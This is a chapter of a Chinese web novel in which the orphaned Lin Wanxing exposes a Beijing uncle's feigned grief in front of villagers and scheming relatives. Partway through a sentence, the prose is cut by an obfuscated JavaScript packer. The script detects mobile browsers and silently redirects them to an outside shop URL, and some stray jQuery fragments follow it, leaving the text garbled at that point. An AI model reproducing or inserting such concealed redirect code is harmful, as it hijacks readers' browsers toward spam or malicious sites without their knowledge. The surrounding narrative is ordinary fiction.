王氏下巴微微扬起,半点没被大舅身上的城里气势震慑,字字句句都带着刁钻的防备:“说的倒是天花乱坠好听!谁知道你急匆匆把他们姐弟接去北京,到底安的是什么心思?北京天高路远,举目无亲,真要是你们冯家上下合起伙来欺负两个孩子,他们年纪小、无依无靠,到时候连个说理、哭冤的地方都没有!”
冯家大舅脸色沉郁,眉心紧紧拧起,被她这番恶意揣测堵得心头窝火,语气带着几分不耐与正色反驳:“我是他们正经的亲大舅,是孩子的长辈,血浓于水,我怎么可能欺负自己的亲外甥、亲外甥女?”
他这话刚落,围观的邻里村民里,立刻有人看不下去,隔着人群高声插嘴,语气直白又通透:“亲大舅又如何?眼下这对姐弟,被自家大伯大伯母处处拿捏、常年欺负,也是实打实的亲人!自家人坑自家人的事,还少吗?”
这话瞬间戳中要害,立刻引来周围一片附和声。
“说得没错!这俩孩子从小苦熬度日,爹娘走得早,最难、最受苦受难的那些年,没见你们冯家半个人影!如今孩子好不容易熬出安稳日子,你们这些城里亲戚倒是突然冒出来,张口就要接人,未免太蹊跷了。”
众人七嘴八舌的议论声涌来,风向瞬间逆转。
原本还想着冯家是真心接济晚辈、心存善意的围观者,此刻看向大舅的眼神,都带上了猜忌与审视。
王氏原本还在怒视揭她短的人,听闻这话眼神一动,立刻抓住机会见风使舵,脸上的蛮横褪去几分,换上一副恍然又唏嘘的模样,顺着众人的话头接话,语气刻意拔高,让所有人都听得清清楚楚:“诶!还真是这个理!我那弟媳当年嫁进林家,老实本分任劳任怨,就从来没跟我们提过半句娘家。人心都是肉长的,若不是当年在娘家彻底伤透了心,被寒了肝胆,怎么会硬生生斩断所有亲缘,断得干干净净?”
一旁的林建业连忙点头附和,绷着一张老实人的脸,摆出笃定的神情,添油加醋道:“没错!我以前就听我弟弟念叨过,弟媳闭口不提娘家,也不许我们提她娘家,不是伤了心是什么。你们这些亲人从未露面、从未帮扶,如今突然找上门来认亲接孩子,说句不好听的,你们莫不是从哪冒出来骗人的拐子,盯着两个孩子想图谋什么吧!”
夫妻俩一唱一和,句句诛心。
围观村民本就同情心偏向孤苦的姐弟二人,此刻彻底被带偏了思绪,所有人的立场尽数倒向林建业夫妇,看向冯家大舅的目光愈发不善,议论声此起彼伏,满是质疑。
冯家大舅站在人群中央,背脊僵硬,脸上的从容体面彻底碎裂,一层难堪的燥热爬上脸颊,耳根微微泛红。
他从未想过,妹妹竟然将事情做这么绝,不仅结婚没有通知家里,就连他们娘家人也没有在林家人面前提过,竟活生生将自家活成了一个无父无母的人。
他压下心底的慌乱与尴尬,敛了翻涌的思绪,刻意摆出一脸愧疚沉重的模样,对着周遭众人缓缓开口解释,语气带着恰到好处的无奈与怅然:“当年下乡政策严苛,身不由己,家里不是没有为妹妹奔走周旋,只是彼时家中条件有限、能力微薄,终究没能护住她,让她受了委屈。妹妹心中怨恨我们、不愿提及娘家,都是人之常情,我们全家人都心知肚明,也一直满心愧疚。”
说完这番场面话,他深知跟胡搅蛮缠的王氏、见利忘义的林建业再多争辩,也是白费口舌,只会越闹越难看,白白损耗冯家的体面。
他当即不再理会聒噪的夫妻俩,脚步一转,走到一直安静端坐、神色温顺怯懦的林菀星面前。
方才面对众人质问的强硬与不耐尽数褪去,他眼底覆上一层浓重的怅然与唏嘘,语气放得温和又厚重,带着长辈独有的思念与愧疚,缓缓诉说起来。
“孩子,旁人不知内情,可我们一家人心里从未放下过你母亲。这些年,你姥姥在京中,日日念着你母亲的名字,夜夜难眠。”
他声音放缓,带着几分真切的动容,细细细数着过往:“你姥姥总说,当年是家里亏欠长女,让最乖巧懂事的女儿受了无妄之灾,远赴他乡吃苦受累。这么多年,她从未敢忘记这个女儿,平日里看着旧物发呆,逢年过节更是以泪洗面,日日盼着能得到你母亲的消息,盼着能弥补当年的过错。”
他目光恳切地望着林菀星,试图用亲情软肋打动这个看似温顺单纯的小姑娘,避开所有争执,撬开她的心理防线。
林菀星始终微微垂着眼眸,纤长浓密的睫毛轻轻簌簌颤动,如同振翅的蝶翼,严严实实地遮住了眼底深处所有的清明、冷冽与层层算计。只剩一张白净清秀、带着几分稚气的小脸露在人前,眉眼温顺,神色柔软,一副被这突如其来的亲情与愧疚说辞彻底打动、心头动容的模样,全然看不出半分异样。
她安静沉默了片刻,像是在细细消化大舅口中这番深情款款的往事,随即缓缓抬眸望向他。眼底恰到好处地蒙着一层薄薄的水雾,眼神澄澈又懵懂,带着未脱的少年纯粹。嗓音轻轻软软,温温柔柔的,裹着一丝浅浅的期盼与疑惑,是十足晚辈对至亲长辈的信赖与求证姿态:“真的吗?姥姥和大舅您真的这么多年,一直这么想念我娘?”
大舅见她神色彻底松动,俨然一副被亲情说辞打动的单纯模样,悬着的心悄悄落地,心中大松一口气,连忙郑重地点头,语气刻意压得愈发恳切温情:“自然是真的,至亲血脉,岂能作假。你姥姥日日牵挂,夜夜悔恨,半分虚假都没有,大舅也是一样,只是母亲年岁大了,经不起长途跋涉,这才只来了我一人。”
话音刚落,林菀星轻轻蹙起纤细的眉头,脸上的懵懂期盼未消,却多了几分恰到好处的困惑与不解。她目光静静锁在大舅脸上,不疾不徐,轻声开口,字字轻柔,却直击要害:“可我娘的尸骨埋在红旗大队后山,大舅千里迢迢从北京赶来寻亲,张口闭口都是愧疚、思念和弥补,从头到尾,却一次都没有提过要去祭拜看望她。”
这句话轻飘飘落下,没有半分凌厉的质问意味,全然是孩童式的单纯困惑,却像一块巨石骤然砸落,瞬间击碎了大舅精心伪装的所有温情与愧疚。
大舅脸上恳切温柔的笑容瞬间僵死在脸上,方才娓娓道来的愧疚、唏嘘与深情,尽数凝固,眼底的柔光瞬间褪去,取而代之的是一闪而过的慌乱与局促。
他万万没想到,看似温顺单纯、极易拿捏的小姑娘,会突然抛出这样一个刁钻又致命的问题。
是啊。
他们满口亏欠、日日思念
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772375|205298||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,打着弥补的旗号跨越千里赶来,一心只想哄走两个孩子,却自始至终,从未想过要去祭拜那个葬身乡野的亲生女儿、亲姐姐。
这份思念,何其虚伪,何其讽刺。
周遭围观的村民闻言,也瞬间反应过来,纷纷面露恍然之色,原本平息的质疑声再次悄然泛起。众人两两对视,眼底皆是了然的审视——若是真的愧疚入骨、思念多年,怎会连逝者坟前一拜都吝于前往?
冯家大舅喉结狠狠滚动两下,心头慌乱翻涌,一时竟找不到合适的说辞圆场。他仓促敛去眼底的失态,强行稳住神色,试图用仓促的借口遮掩破绽,语气已然不如方才笃定:“是……是大舅疏忽了。一路赶路仓促,诸事繁杂,还未来得及抽空前去祭拜你母亲。”
这般苍白的解释,连他自己都说服不了。
林菀星垂在身侧的指尖微微蜷起,眼底掠过一抹极淡的冷讥,转瞬便被柔弱懵懂的神色覆盖。
一旁的王氏见状,立刻抓住把柄,当即端起林家长辈的架子,语气凌厉又理直气壮地开口碾压:“疏忽?说到底就是没真心!整日把愧疚弥补挂在嘴边,连逝者坟都懒得踏一步,你们冯家的思念,也太上不得台面!”
林建业也立刻上前一步,沉下脸摆出宗族长辈的威严,字字掷地有声,怼得人无从反驳:“既然千里迢迢来了,我看认亲是假,想要将人接走为你们冯家卖力是真!我弟妹这辈子被你们冯家伤透了心,人走了都得不到一句诚心祭拜,还好意思说是弟媳妇的大哥,我看狗屁都不如。”
两人一唱一和,句句戳破冯家的虚伪。大舅本就理亏心虚,破绽百出,此刻被怼得面色青一阵白一阵,张口结舌,半分辩驳的余地都没有,彻底哑口无言。
围观村民的议论声越来越盛,指指点点,满是鄙夷。
万般无奈之下,大舅只能压下满心烦躁与不甘,强行妥协,语气生硬地丢下一句场面话:“是我考虑不周。我这就回去准备祭拜用品,亲自上山,祭拜妹妹。”
说完,他再无半分停留的脸面,不敢再直视林菀星通透的眼眸,也不敢应对周遭人的审视目光,转身步履仓促地快步离开,落得个狼狈退场的下场。
直到大舅的身影彻底消失在街口,围观的村民渐渐散去,方才一脸正气凛然、满口道义的林建业夫妇,脸上的严肃正直瞬间褪去,变脸速度快得惊人。
王氏脸上的义愤填膺尽数化作刻薄与冷硬,再次双手叉腰,居高临下地盯着林菀星姐弟,语气冰冷强势,半点不客气:“你们给我听清楚了!你们那个大舅也不是什么好人,别被人卖了还替他们数钱!”
林建业也沉下脸色,语气沉重强硬,死死拿捏着宗族规矩施压:“记住你们的身份!你们生是林家人,死是林家鬼!不管是你爹娘在还是不在的时候,都是种林家地,吃林家米长大,这辈子都别想拍拍屁股一走了之,去北京享现成福!”
“你们要想走,必须当众清算你们这些年所有的吃喝用度、养育开销!一分一毫都算清楚还给林家,拿不出钱,就老老实实留在村里,给你爹守住林家二房!”
林菀星眼底浅浅掠过一丝冷然,早已看透这对夫妇的贪婪本性,守住二房是假,想要接机敲诈大舅一笔钱是真。